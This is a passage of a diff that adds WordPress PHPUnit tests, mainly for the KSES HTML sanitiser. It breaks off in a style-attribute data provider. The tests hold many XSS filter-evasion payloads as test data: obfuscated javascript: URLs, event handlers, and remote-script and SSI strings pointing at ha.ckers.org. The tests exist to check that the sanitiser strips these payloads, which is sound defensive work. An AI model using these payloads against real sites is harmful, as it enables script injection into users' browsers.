+	public function test_setExpectedDeprecated() {
+		$this->setExpectedDeprecated( 'Tests_TestHelpers::mock_deprecated' );
+		$this->assertTrue( $this->mock_deprecated() );
+	}
+
+	/**
+	 * @ticket 28486
+	 */
+	public function test_setExpectedIncorrectUsage() {
+		$this->setExpectedIncorrectUsage( 'Tests_TestHelpers::mock_incorrect_usage' );
+		$this->assertTrue( $this->mock_incorrect_usage() );
+	}
+
+	/**
+	 * @ticket 31417
+	 */
+	public function test_go_to_should_go_to_home_page_when_passing_the_untrailingslashed_home_url() {
+		$this->assertFalse( is_home() );
+		$home = untrailingslashit( get_option( 'home' ) );
+		$this->go_to( $home );
+		$this->assertTrue( is_home() );
+	}
+
+	protected function mock_deprecated() {
+		_deprecated_function( __METHOD__, '2.5' );
+		return true;
+	}
+
+	protected function mock_incorrect_usage() {
+		_doing_it_wrong( __METHOD__, __( 'Incorrect usage test' ), '2.5' );
+		return true;
+	}
+
+	/**
+	 * @ticket 36166
+	 * @expectedException WPDieException
+	 */
+	public function test_die_handler_should_handle_wp_error() {
+		wp_die( new WP_Error( 'test', 'test' ) );
+	}
+
+	/**
+	 * This test is just a setup for the one that follows.
+	 *
+	 * @ticket 38196
+	 */
+	public function test_setup_postdata_globals_should_be_reset_on_teardown__setup() {
+		$post = self::factory()->post->create_and_get();
+		$GLOBALS['wp_query'] = new WP_Query();
+		$GLOBALS['wp_query']->setup_postdata( $post );
+		$this->assertNotEmpty( $post );
+	}
+
+	/**
+	 * @ticket 38196
+	 */
+	public function test_setup_postdata_globals_should_be_reset_on_teardown() {
+		$globals = array( 'post', 'id', 'authordata', 'currentday', 'currentmonth', 'page', 'pages', 'multipage', 'more', 'numpages' );
+
+		foreach ( $globals as $global ) {
+			$this->assertTrue( ! isset( $GLOBALS[ $global ] ), $global );
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/kses.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/kses.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/kses.php	(revision 56912)
@@ -0,0 +1,1001 @@
+<?php
+/**
+ * Some simple test cases for KSES post content filtering
+ *
+ * @group formatting
+ * @group kses
+ */
+class Tests_Kses extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 20210
+	 */
+	function test_wp_filter_post_kses_address() {
+		global $allowedposttags;
+
+		$attributes = array(
+			'class' => 'classname',
+			'id' => 'id',
+			'style' => 'color: red;',
+			'style' => 'color: red',
+			'style' => 'color: red; text-align:center',
+			'style' => 'color: red; text-align:center;',
+			'title' => 'title',
+		);
+
+		foreach ( $attributes as $name => $value ) {
+			$string = "<address $name='$value'>1 WordPress Avenue, The Internet.</address>";
+			$expect_string = "<address $name='" . str_replace( '; ', ';', trim( $value, ';' ) ) . "'>1 WordPress Avenue, The Internet.</address>";
+			$this->assertEquals( $expect_string, wp_kses( $string, $allowedposttags ) );
+		}
+	}
+
+	/**
+	 * @ticket 20210
+	 */
+	function test_wp_filter_post_kses_a() {
+		global $allowedposttags;
+
+		$attributes = array(
+			'class' => 'classname',
+			'id' => 'id',
+			'style' => 'color: red;',
+			'title' => 'title',
+			'href' => 'http://example.com',
+			'rel' => 'related',
+			'rev' => 'revision',
+			'name' => 'name',
+			'target' => '_blank',
+			'download' => '',
+		);
+
+		foreach ( $attributes as $name => $value ) {
+			if ( $value ) {
+				$attr = "$name='$value'";
+				$expected_attr = "$name='" . trim( $value, ';' ) . "'";
+			} else {
+				$attr = $expected_attr = $name;
+			}
+			$string = "<a $attr>I link this</a>";
+			$expect_string = "<a $expected_attr>I link this</a>";
+			$this->assertEquals( $expect_string, wp_kses( $string, $allowedposttags ) );
+		}
+	}
+
+	/**
+	 * @ticket 20210
+	 */
+	function test_wp_filter_post_kses_abbr() {
+		global $allowedposttags;
+
+		$attributes = array(
+			'class' => 'classname',
+			'id' => 'id',
+			'style' => 'color: red;',
+			'title' => 'title',
+		);
+
+		foreach ( $attributes as $name => $value ) {
+			$string = "<abbr $name='$value'>WP</abbr>";
+			$expect_string = "<abbr $name='" . trim( $value, ';' ) . "'>WP</abbr>";
+			$this->assertEquals( $expect_string, wp_kses( $string, $allowedposttags ) );
+		}
+	}
+
+	function test_feed_links() {
+		global $allowedposttags;
+
+		$content = <<<EOF
+<a href="feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:javascript:feed:alert(1)">CLICK ME</a>
+<a href="feed:feed:javascript:alert(1)">CLICK ME</a>
+<a href="javascript:feed:alert(1)">CLICK ME</a>
+<a href="javascript:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:feed:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:feed:feed:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:feed:feed:feed:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:javascript:feed:javascript:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:javascript:feed:javascript:feed:javascript:feed:javascript:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:feed:feed:http:alert(1)">CLICK ME</a>
+EOF;
+
+		$expected = <<<EOF
+<a href="feed:alert(1)">CLICK ME</a>
+<a href="feed:feed:alert(1)">CLICK ME</a>
+<a href="feed:feed:alert(1)">CLICK ME</a>
+<a href="feed:alert(1)">CLICK ME</a>
+<a href="feed:alert(1)">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+EOF;
+
+		$this->assertEquals( $expected, wp_kses( $content, $allowedposttags ) );
+	}
+
+	function test_wp_kses_bad_protocol() {
+		$bad = array(
+			'dummy:alert(1)',
+			'javascript:alert(1)',
+			'JaVaScRiPt:alert(1)',
+			'javascript:alert(1);',
+			'javascript&#58;alert(1);',
+			'javascript&#0058;alert(1);',
+			'javascript&#0000058alert(1);',
+			'javascript&#x3A;alert(1);',
+			'javascript&#X3A;alert(1);',
+			'javascript&#X3a;alert(1);',
+			'javascript&#x3a;alert(1);',
+			'javascript&#x003a;alert(1);',
+			'&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29',
+			'jav	ascript:alert(1);',
+			'jav&#x09;ascript:alert(1);',
+			'jav&#x0A;ascript:alert(1);',
+			'jav&#x0D;ascript:alert(1);',
+			' &#14;  javascript:alert(1);',
+			'javascript:javascript:alert(1);',
+			'javascript&#58;javascript:alert(1);',
+			'javascript&#0000058javascript:alert(1);',
+			'javascript:javascript&#58;alert(1);',
+			'javascript:javascript&#0000058alert(1);',
+			'javascript&#0000058alert(1)//?:',
+			'feed:javascript:alert(1)',
+			'feed:javascript:feed:javascript:feed:javascript:alert(1)',
+			'javascript&#58alert(1)',
+			'javascript&#x3ax=1;alert(1)',
+		);
+		foreach ( $bad as $k => $x ) {
+			$result = wp_kses_bad_protocol( wp_kses_normalize_entities( $x ), wp_allowed_protocols() );
+			if ( ! empty( $result ) && $result != 'alert(1);' && $result != 'alert(1)' ) {
+				switch ( $k ) {
+					case 6: $this->assertEquals( 'javascript&amp;#0000058alert(1);', $result ); break;
+					case 12:
+						$this->assertEquals( str_replace( '&', '&amp;', $x ), $result );
+						break;
+					case 22: $this->assertEquals( 'javascript&amp;#0000058alert(1);', $result ); break;
+					case 23: $this->assertEquals( 'javascript&amp;#0000058alert(1)//?:', $result ); break;
+					case 24: $this->assertEquals( 'feed:alert(1)', $result ); break;
+					case 26:
+						$this->assertEquals( 'javascript&amp;#58alert(1)', $result );
+						break;
+					case 27:
+						$this->assertEquals( 'javascript&amp;#x3ax=1;alert(1)', $result );
+						break;
+					default:
+						$this->fail( "wp_kses_bad_protocol failed on $k, $x. Result: $result" );
+				}
+			}
+		}
+
+		$bad_not_normalized = array(
+			'dummy&colon;alert(1)',
+			'javascript&colon;alert(1)',
+			'javascript&CoLon;alert(1)',
+			'javascript&COLON;alert(1);',
+			'javascript&#58;alert(1);',
+			'javascript&#0058;alert(1);',
+			'javascript&#0000058alert(1);',
+			'jav	ascript&COLON;alert(1);',
+			'javascript&#58;javascript&colon;alert(1);',
+			'javascript&#58;javascript&colon;alert(1);',
+			'javascript&#0000058javascript&colon;alert(1);',
+			'javascript&#58;javascript&#0000058alert(1);',
+			'javascript&#58alert(1)',
+		);
+		foreach ( $bad_not_normalized as $k => $x ) {
+			$result = wp_kses_bad_protocol( $x, wp_allowed_protocols() );
+			if ( ! empty( $result ) && 'alert(1);' !== $result && 'alert(1)' !== $result ) {
+				$this->fail( "wp_kses_bad_protocol failed on $k, $x. Result: $result" );
+			}
+		}
+
+		$safe = array(
+			'dummy:alert(1)',
+			'HTTP://example.org/',
+			'http://example.org/',
+			'http&#58;//example.org/',
+			'http&#x3A;//example.org/',
+			'https://example.org',
+			'http://example.org/wp-admin/post.php?post=2&amp;action=edit',
+			'http://example.org/index.php?test=&#039;blah&#039;',
+		);
+		foreach ( $safe as $x ) {
+			$result = wp_kses_bad_protocol( wp_kses_normalize_entities( $x ), array( 'http', 'https', 'dummy' ) );
+			if ( $result != $x && $result != 'http://example.org/' )
+				$this->fail( "wp_kses_bad_protocol incorrectly blocked $x" );
+		}
+	}
+
+	public function test_hackers_attacks() {
+		$xss = simplexml_load_file( DIR_TESTDATA . '/formatting/xssAttacks.xml' );
+		foreach ( $xss->attack as $attack ) {
+			if ( in_array( $attack->name, array( 'IMG Embedded commands 2', 'US-ASCII encoding', 'OBJECT w/Flash 2', 'Character Encoding Example' ) ) )
+				continue;
+
+			$code = (string) $attack->code;
+
+			if ( $code == 'See Below' )
+				continue;
+
+			if ( substr( $code, 0, 4 ) == 'perl' ) {
+				$pos = strpos( $code, '"' ) + 1;
+				$code = substr( $code, $pos, strrpos($code, '"') - $pos );
+				$code = str_replace( '\0', "\0", $code );
+			}
+
+			$result = trim( wp_kses_data( $code ) );
+
+			if ( $result == '' || $result == 'XSS' || $result == 'alert("XSS");' || $result == "alert('XSS');" )
+				continue;
+
+			switch ( $attack->name ) {
+				case 'XSS Locator':
+					$this->assertEquals('\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--&gt;"&gt;\'&gt;alert(String.fromCharCode(88,83,83))=&amp;{}', $result);
+					break;
+				case 'XSS Quick Test':
+					$this->assertEquals('\'\';!--"=&amp;{()}', $result);
+					break;
+				case 'SCRIPT w/Alert()':
+					$this->assertEquals( "alert('XSS')", $result );
+					break;
+				case 'SCRIPT w/Char Code':
+					$this->assertEquals('alert(String.fromCharCode(88,83,83))', $result);
+					break;
+				case 'IMG STYLE w/expression':
+					$this->assertEquals('exp/*', $result);
+					break;
+				case 'List-style-image':
+					$this->assertEquals('li {list-style-image: url("javascript:alert(\'XSS\')");}XSS', $result);
+					break;
+				case 'STYLE':
+					$this->assertEquals( "alert('XSS');", $result);
+					break;
+				case 'STYLE w/background-image':
+					$this->assertEquals('.XSS{background-image:url("javascript:alert(\'XSS\')");}<A></A>', $result);
+					break;
+				case 'STYLE w/background':
+					$this->assertEquals('BODY{background:url("javascript:alert(\'XSS\')")}', $result);
+					break;
+				case 'Remote Stylesheet 2':
+					$this->assertEquals( "@import'http://ha.ckers.org/xss.css';", $result );
+					break;
+				case 'Remote Stylesheet 3':
+					$this->assertEquals( '&lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;; REL=stylesheet"&gt;', $result );
+					break;
+				case 'Remote Stylesheet 4':
+					$this->assertEquals('BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}', $result);
+					break;
+				case 'XML data island w/CDATA':
+					$this->assertEquals( "&lt;![CDATA[]]&gt;", $result );
+					break;
+				case 'XML data island w/comment':
+					$this->assertEquals( "<I><B>&lt;IMG SRC=&quot;javas<!-- -->cript:alert('XSS')\"&gt;</B></I>", $result );
+					break;
+				case 'XML HTML+TIME':
+					$this->assertEquals( '&lt;t:set attributeName=&quot;innerHTML&quot; to=&quot;XSSalert(\'XSS\')"&gt;', $result );
+					break;
+				case 'Commented-out Block':
+					$this->assertEquals( "<!--[if gte IE 4]&gt;-->\nalert('XSS');", $result );
+					break;
+				case 'Cookie Manipulation':
+					$this->assertEquals( '&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=alert(\'XSS\')"&gt;', $result );
+					break;
+				case 'SSI':
+					$this->assertEquals( '&lt;!--#exec cmd=&quot;/bin/echo &#039;<!--#exec cmd="/bin/echo \'=http://ha.ckers.org/xss.js&gt;\'"-->', $result );
+					break;
+				case 'PHP':
+					$this->assertEquals( '&lt;? echo(&#039;alert("XSS")\'); ?&gt;', $result );
+					break;
+				case 'UTF-7 Encoding':
+					$this->assertEquals( '+ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-/SCRIPT+AD4-', $result );
+					break;
+				case 'Escaping JavaScript escapes':
+					$this->assertEquals('\";alert(\'XSS\');//', $result);
+					break;
+				case 'STYLE w/broken up JavaScript':
+					$this->assertEquals( '@im\port\'\ja\vasc\ript:alert("XSS")\';', $result );
+					break;
+				case 'Null Chars 2':
+					$this->assertEquals( '&amp;alert("XSS")', $result );
+					break;
+				case 'No Closing Script Tag':
+					$this->assertEquals( '&lt;SCRIPT SRC=http://ha.ckers.org/xss.js', $result );
+					break;
+				case 'Half-Open HTML/JavaScript':
+					$this->assertEquals( '&lt;IMG SRC=&quot;javascript:alert(&#039;XSS&#039;)&quot;', $result );
+					break;
+				case 'Double open angle brackets':
+					$this->assertEquals( '&lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;', $result );
+					break;
+				case 'Extraneous Open Brackets':
+					$this->assertEquals( '&lt;alert("XSS");//&lt;', $result );
+					break;
+				case 'Malformed IMG Tags':
+					$this->assertEquals('alert("XSS")"&gt;', $result);
+					break;
+				case 'No Quotes/Semicolons':
+					$this->assertEquals( "a=/XSS/\nalert(a.source)", $result );
+					break;
+				case 'Evade Regex Filter 1':
+					$this->assertEquals( '" SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+					break;
+				case 'Evade Regex Filter 4':
+					$this->assertEquals( '\'" SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+					break;
+				case 'Evade Regex Filter 5':
+					$this->assertEquals( '` SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+					break;
+				case 'Filter Evasion 1':
+					$this->assertEquals( 'document.write("&lt;SCRI&quot;);PT SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+					break;
+				case 'Filter Evasion 2':
+					$this->assertEquals( '\'&gt;" SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+					break;
+				default:
+					$this->fail( 'KSES failed on ' . $attack->name . ': ' . $result );
+			}
+		}
+	}
+
+	function _wp_kses_allowed_html_filter( $html, $context ) {
+		if ( 'post' == $context )
+			return array( 'a' => array( 'href' => true ) );
+		else
+			return array( 'a' => array( 'href' => false ) );
+	}
+
+	/**
+	 * @ticket 20210
+	 */
+	public function test_wp_kses_allowed_html() {
+		global $allowedposttags, $allowedtags, $allowedentitynames;
+
+		$this->assertEquals( $allowedposttags, wp_kses_allowed_html( 'post' ) );
+
+		$tags = wp_kses_allowed_html( 'post' ) ;
+
+		foreach ( $tags as $tag ) {
+			$this->assertTrue( $tag['class'] );
+			$this->assertTrue( $tag['id'] );
+			$this->assertTrue( $tag['style'] );
+			$this->assertTrue( $tag['title'] );
+		}
+
+		$this->assertEquals( $allowedtags, wp_kses_allowed_html( 'data' ) );
+		$this->assertEquals( $allowedtags, wp_kses_allowed_html( '' ) );
+		$this->assertEquals( $allowedtags, wp_kses_allowed_html() );
+
+		$tags = wp_kses_allowed_html( 'user_description' );
+		$this->assertTrue( $tags['a']['rel'] );
+
+		$tags = wp_kses_allowed_html();
+		$this->assertFalse( isset( $tags['a']['rel'] ) );
+
+		$this->assertEquals( array(), wp_kses_allowed_html( 'strip' ) );
+
+		$custom_tags = array(
+			'a' => array(
+				'href' => true,
+				'rel' => true,
+				'rev' => true,
+				'name' => true,
+				'target' => true,
+			),
+		);
+
+		$this->assertEquals( $custom_tags, wp_kses_allowed_html( $custom_tags ) );
+
+		add_filter( 'wp_kses_allowed_html', array( $this, '_wp_kses_allowed_html_filter' ), 10, 2 );
+
+		$this->assertEquals( array( 'a' => array( 'href' => true ) ), wp_kses_allowed_html( 'post' ) );
+		$this->assertEquals( array( 'a' => array( 'href' => false ) ), wp_kses_allowed_html( 'data' ) );
+
+		remove_filter( 'wp_kses_allowed_html', array( $this, '_wp_kses_allowed_html_filter' ) );
+		$this->assertEquals( $allowedposttags, wp_kses_allowed_html( 'post' ) );
+		$this->assertEquals( $allowedtags, wp_kses_allowed_html( 'data' ) );
+	}
+
+	function test_hyphenated_tag() {
+		$string = "<hyphenated-tag attribute=\"value\" otherattribute=\"value2\">Alot of hyphens.</hyphenated-tag>";
+		$custom_tags = array(
+			'hyphenated-tag' => array(
+				'attribute' => true,
+			),
+		);
+		$expect_stripped_string = 'Alot of hyphens.';
+
+		$expect_valid_string = "<hyphenated-tag attribute=\"value\">Alot of hyphens.</hyphenated-tag>";
+		$this->assertEquals( $expect_stripped_string, wp_kses_post( $string ) );
+		$this->assertEquals( $expect_valid_string, wp_kses( $string, $custom_tags ) );
+	}
+
+	/**
+	 * @ticket 26290
+	 */
+	public function test_wp_kses_normalize_entities() {
+		$this->assertEquals( '&spades;', wp_kses_normalize_entities( '&spades;' ) );
+
+		$this->assertEquals( '&sup1;', wp_kses_normalize_entities( '&sup1;' ) );
+		$this->assertEquals( '&sup2;', wp_kses_normalize_entities( '&sup2;' ) );
+		$this->assertEquals( '&sup3;', wp_kses_normalize_entities( '&sup3;' ) );
+		$this->assertEquals( '&frac14;', wp_kses_normalize_entities( '&frac14;' ) );
+		$this->assertEquals( '&frac12;', wp_kses_normalize_entities( '&frac12;' ) );
+		$this->assertEquals( '&frac34;', wp_kses_normalize_entities( '&frac34;' ) );
+		$this->assertEquals( '&there4;', wp_kses_normalize_entities( '&there4;' ) );
+	}
+
+	/**
+	 * Test removal of invalid binary data for HTML.
+	 *
+	 * @ticket 28506
+	 * @dataProvider data_ctrl_removal
+	 */
+	function test_ctrl_removal( $input, $output ) {
+		global $allowedposttags;
+
+		return $this->assertEquals( $output, wp_kses( $input, $allowedposttags ) );
+	}
+
+	function data_ctrl_removal() {
+		return array(
+			array(
+				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x0B\x0C\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\X1C\x1D\x1E\x1F",
+				'',
+			),
+			array(
+				"\x00h\x01e\x02l\x03l\x04o\x05 \x06w\x07o\x08r\x0Bl\x0Cd\x0E.\x0F \x10W\x11O\x12R\x13D\x14P\x15R\x16E\x17S\x18S\x19 \x1AK\x1BS\X1CE\x1DS\x1E.\x1F/",
+				'hello world. WORDPRESS KSES./',
+			),
+			array(
+				"\x1F\x1E\x1D\x1C\x1B\x1A\x19\x18\x17\x16\x15\x14\x13\x12\x11\x10\x0F\x0E\x0C\x0B\x08\x07\x06\x05\x04\X03\x02\x01\x00",
+				'',
+			),
+			array(
+				"\x1Fh\x1Ee\x1Dl\x1Cl\x1Bo\x1A \x19w\x18o\x17r\x16l\x15d\x14.\x13 \x12W\x11O\x10R\x0FD\x0EP\x0CR\x0BE\x08S\x07S\x06 \x05K\x04S\X03E\x02S\x01.\x00/",
+				'hello world. WORDPRESS KSES./',
+			),
+			array(
+				"\t\r\n word \n\r\t",
+				"\t\r\n word \n\r\t",
+			),
+		);
+	}
+
+	/**
+	 * Test removal of '\0' strings.
+	 *
+	 * @ticket 28699
+	 * @dataProvider data_slash_zero_removal
+	 */
+	function test_slash_zero_removal( $input, $output ) {
+		global $allowedposttags;
+
+		return $this->assertEquals( $output, wp_kses( $input, $allowedposttags ) );
+	}
+
+	function data_slash_zero_removal() {
+		return array(
+			array(
+				'This \\0 should be no big deal.',
+				'This \\0 should be no big deal.',
+			),
+			array(
+				'<div>This \\0 should be no big deal.</div>',
+				'<div>This \\0 should be no big deal.</div>',
+			),
+			array(
+				'<div align="\\0left">This should be no big deal.</div>',
+				'<div align="\\0left">This should be no big deal.</div>',
+			),
+			array(
+				'This <div style="float:\\0left"> is more of a concern.',
+				'This <div style="float:left"> is more of a concern.',
+			),
+			array(
+				'This <div style="float:\\0\\0left"> is more of a concern.',
+				'This <div style="float:left"> is more of a concern.',
+			),
+			array(
+				'This <div style="float:\\\\00left"> is more of a concern.',
+				'This <div style="float:left"> is more of a concern.',
+			),
+			array(
+				'This <div style="float:\\\\\\\\0000left"> is more of a concern.',
+				'This <div style="float:left"> is more of a concern.',
+			),
+			array(
+				'This <div style="float:\\0000left"> is more of a concern.',
+				'This <div style="float:left"> is more of a concern.',
+			),
+			array(
+				'<style type="text/css">div {background-image:\\0}</style>',
+				'div {background-image:\\0}',
+			),
+		);
+	}
+
+	/**
+	 * Test new function wp_kses_hair_parse().
+	 *
+	 * @dataProvider data_hair_parse
+	 */
+	function test_hair_parse( $input, $output ) {
+		return $this->assertEquals( $output, wp_kses_hair_parse( $input ) );
+	}
+
+	function data_hair_parse() {
+		return array(
+			array(
+				'title="hello" href="#" id="my_id" ',
+				array( 'title="hello" ', 'href="#" ', 'id="my_id" ' ),
+			),
+			array(
+				'[shortcode attr="value"] href="http://www.google.com/"title="moo"disabled',
+				array( '[shortcode attr="value"] ', 'href="http://www.google.com/"', 'title="moo"', 'disabled' ),
+			),
+			array(
+				'',
+				array(),
+			),
+			array(
+				'a',
+				array( 'a' ),
+			),
+			array(
+				'title="hello"disabled href=# id=\'my_id\'',
+				array( 'title="hello"', 'disabled ', 'href=# ', "id='my_id'" ),
+			),
+			array(
+				'     ', // Calling function is expected to strip leading whitespace.
+				false,
+			),
+			array(
+				'abcd=abcd"abcd"',
+				false,
+			),
+			array(
+				"array[1]='z'z'z'z",
+				false,
+			),
+		);
+	}
+
+	/**
+	 * Test new function wp_kses_attr_parse().
+	 *
+	 * @dataProvider data_attr_parse
+	 */
+	function test_attr_parse( $input, $output ) {
+		return $this->assertEquals( $output, wp_kses_attr_parse( $input ) );
+	}
+
+	function data_attr_parse() {
+		return array(
+			array(
+				'<a title="hello" href="#" id="my_id" >',
+				array( '<a ', 'title="hello" ', 'href="#" ', 'id="my_id" ', '>' ),
+			),
+			array(
+				'<a [shortcode attr="value"] href="http://www.google.com/"title="moo"disabled>',
+				array( '<a ', '[shortcode attr="value"] ', 'href="http://www.google.com/"', 'title="moo"', 'disabled', '>' ),
+			),
+			array(
+				'',
+				false,
+			),
+			array(
+				'a',
+				false,
+			),
+			array(
+				'<a>',
+				array( '<a', '>' ),
+			),
+			array(
+				'<a%%&&**>',
+				false,
+			),
+			array(
+				'<a title="hello"disabled href=# id=\'my_id\'>',
+				array( '<a ', 'title="hello"', 'disabled ', 'href=# ', "id='my_id'", ">" ),
+			),
+			array(
+				'<a     >',
+				array( '<a     ', '>' ),
+			),
+			array(
+				'<a abcd=abcd"abcd">',
+				false,
+			),
+			array(
+				"<a array[1]='z'z'z'z>",
+				false,
+			),
+			array(
+				'<img title="hello" src="#" id="my_id" />',
+				array( '<img ', 'title="hello" ', 'src="#" ', 'id="my_id"', ' />' ),
+			),
+		);
+	}
+
+	/**
+	 * Test new function wp_kses_one_attr().
+	 *
+	 * @dataProvider data_one_attr
+	 */
+	function test_one_attr( $element, $input, $output ) {
+		return $this->assertEquals( $output, wp_kses_one_attr( $input, $element ) );
+	}
+
+	function data_one_attr() {
+		return array(
+			array(
+				'a',
+				' title="hello" ',
+				' title="hello" ',
+			),
+			array(
+				'a',
+				'title  =  "hello"',
+				'title="hello"',
+			),
+			array(
+				'a',
+				"title='hello'",
+				"title='hello'",
+			),
+			array(
+				'a',
+				'title=hello',
+				'title="hello"',
+			),
+			array(
+				'a',
+				'href="javascript:alert(1)"',
+				'href="alert(1)"',
+			),
+			array(
+				'a',
+				'style ="style "',
+				'style="style"',
+			),
+			array(
+				'a',
+				'style="style "',
+				'style="style"',
+			),
+			array(
+				'a',
+				'style ="style ="',
+				'',
+			),
+			array(
+				'img',
+				'src="mypic.jpg"',
+				'src="mypic.jpg"',
+			),
+			array(
+				'img',
+				'onerror=alert(1)',
+				'',
+			),
+			array(
+				'img',
+				'title=>',
+				'title="&gt;"',
+			),
+			array(
+				'img',
+				'title="&garbage";"',
+				'title="&amp;garbage&quot;;"',
+			),
+		);
+	}
+
+	/**
+	 * @ticket 34063
+	 */
+	function test_bdo() {
+		global $allowedposttags;
+
+		$input = '<p>This is <bdo dir="rtl">a BDO tag</bdo>. Weird, <bdo dir="ltr">right?</bdo></p>';
+
+		$this->assertEquals( $input, wp_kses( $input, $allowedposttags ) );
+	}
+
+	/**
+	 * @ticket 35079
+	 */
+	function test_ol_reversed() {
+		global $allowedposttags;
+
+		$input = '<ol reversed="reversed"><li>Item 1</li><li>Item 2</li><li>Item 3</li></ol>';
+
+		$this->assertEquals( $input, wp_kses( $input, $allowedposttags ) );
+	}
+
+	/**
+	 * @ticket 40680
+	 */
+	function test_wp_kses_attr_no_attributes_allowed_with_empty_array() {
+		$element = 'foo';
+		$attribute = 'title="foo" class="bar"';
+
+		$this->assertEquals( "<{$element}>", wp_kses_attr( $element, $attribute, array( 'foo' => array() ), array() ) );
+	}
+
+	/**
+	 * @ticket 40680
+	 */
+	function test_wp_kses_attr_no_attributes_allowed_with_true() {
+		$element = 'foo';
+		$attribute = 'title="foo" class="bar"';
+
+		$this->assertEquals( "<{$element}>", wp_kses_attr( $element, $attribute, array( 'foo' => true ), array() ) );
+	}
+
+	/**
+	 * @ticket 40680
+	 */
+	function test_wp_kses_attr_single_attribute_is_allowed() {
+		$element = 'foo';
+		$attribute = 'title="foo" class="bar"';
+
+		$this->assertEquals( "<{$element} title=\"foo\">", wp_kses_attr( $element, $attribute, array( 'foo' => array( 'title' => true ) ), array() ) );
+	}
+
+	/**
+	 * @ticket 43312
+	 */
+	function test_wp_kses_attr_no_attributes_allowed_with_false() {
+		$element   = 'foo';
+		$attribute = 'title="foo" class="bar"';
+
+		$this->assertEquals( "<{$element}>", wp_kses_attr( $element, $attribute, array( 'foo' => false ), array() ) );
+	}
+
+	/**
+	 * Data attributes are globally accepted.
+	 *
+	 * @ticket 33121
+	 */
+	function test_wp_kses_attr_data_attribute_is_allowed() {
+		$test = '<div data-foo="foo" data-bar="bar" datainvalid="gone" data--invaild="gone"  data-also-invaild-="gone" data-two-hyphens="remains">Pens and pencils</div>';
+		$expected = '<div data-foo="foo" data-bar="bar" data-two-hyphens="remains">Pens and pencils</div>';
+
+		$this->assertEquals( $expected, wp_kses_post( $test ) );
+	}
+
+	/**
+	 * Ensure wildcard attributes block unprefixed wildcard uses.
+	 *
+	 * @ticket 33121
+	 */
+	function test_wildcard_requires_hyphen_after_prefix() {
+		$allowed_html = array(
+			'div' => array(
+				'data-*' => true,
+				'on-*' => true,
+			),
+		);
+
+		$string = '<div datamelformed-prefix="gone" data="gone" data-="gone" onclick="alert(1)">Malformed attributes</div>';
+		$expected = '<div>Malformed attributes</div>';
+
+		$actual = wp_kses( $string, $allowed_html );
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * Ensure wildcard allows two hyphen.
+	 *
+	 * @ticket 33121
+	 */
+	function test_wildcard_allows_two_hyphens() {
+		$allowed_html = array(
+			'div' => array(
+				'data-*' => true,
+			),
+		);
+
+		$string = '<div data-wp-id="pens-and-pencils">Well formed attribute</div>';
+		$expected = '<div data-wp-id="pens-and-pencils">Well formed attribute</div>';
+
+		$actual = wp_kses( $string, $allowed_html );
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * Ensure wildcard attributes only support valid prefixes.
+	 *
+	 * @dataProvider data_wildcard_attribute_prefixes
+	 *
+	 * @ticket 33121
+	 */
+	function test_wildcard_attribute_prefixes( $wildcard_attribute, $expected ) {
+		$allowed_html = array(
+			'div' => array(
+				$wildcard_attribute => true,
+			),
+		);
+
+		$name = str_replace( '*', strtolower( __FUNCTION__ ), $wildcard_attribute );
+		$value = __FUNCTION__;
+		$whole = "{$name}=\"{$value}\"";
+
+		$actual = wp_kses_attr_check( $name, $value, $whole, 'n', 'div', $allowed_html );
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * @return array Array of arguments for wildcard testing
+	 *               [0] The prefix being tested.
+	 *               [1] The outcome of `wp_kses_attr_check` for the prefix.
+	 */
+	function data_wildcard_attribute_prefixes() {
+		return array(
+			// Ends correctly
+			array( 'data-*', true ),
+
+			// Does not end with trialing `-`.
+			array( 'data*', false ),
+
+			// Multiple wildcards.
+			array( 'd*ta-*', false ),
+			array( 'data**', false ),
+		);
+	}
+
+	/**
+	 * Test URL sanitization in the style tag.
+	 *
+	 * @dataProvider data_kses_style_attr_with_url
+	 *
+	 * @ticket 45067
+	 *
+	 * @param $input string The style attribute saved in the editor.
+	 * @param $expected string The sanitized style attribute.
+	 */
+	function test_kses_style_attr_with_url( $input, $expected ) {
+		$actual = safecss_filter_attr( $input );
+
+		$this->assertSame( $expected, $actual );
+	}
+
+	/**
+	 * Data provider testing style attribute sanitization.
+	 *
+	 * @return array Nested array of input, expected pairs.
+	 */
+	function data_kses_style_attr_with_url() {
+		return array(
+			/*
+			 * Valid use cases.
+			 */
+
+			// Double quotes.
+			array(
+				'background-image: url( "http://example.com/valid.gif" );',
+				'background-image: url( "http://example.com/valid.gif" )',
+			),
+
+			// Single quotes.
+			array(
+				"background-image: url( 'http://example.com/valid.gif' );",
+				"background-image: url( 'http://example.com/valid.gif' )",
+			),
+
